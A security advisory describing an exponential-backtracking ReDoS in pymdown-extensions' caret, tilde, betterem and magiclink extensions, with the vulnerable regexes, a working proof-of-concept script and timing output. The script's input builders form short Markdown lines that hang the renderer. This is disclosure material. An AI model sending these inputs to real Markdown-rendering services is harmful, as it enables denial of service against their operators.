PyPI · pymdown-extensions
pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:
| Extension | Regex | Location (11.0) |
|---|---|---|
pymdownx.caret (superscript ^…^) |
SUP2 |
pymdownx/caret.py:56 |
pymdownx.tilde (subscript ~…~) |
SUB2 |
pymdownx/tilde.py:55 |
pymdownx.betterem (underscore _…_) |
SMART_UNDER_EM2 (default) |
pymdownx/betterem.py:93 |
pymdownx.magiclink (bare-URL autolink) |
RE_LINK |
pymdownx/magiclink.py:56 (host at :59) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'
SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base < 0.05 and (hung or dt > 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each < 50-byte input).")
Run:
uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py
The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:
# pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms
malicious len 27: 0.003 s
malicious len 33: 0.054 s (x16.6)
malicious len 39: 0.946 s (x17.6)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.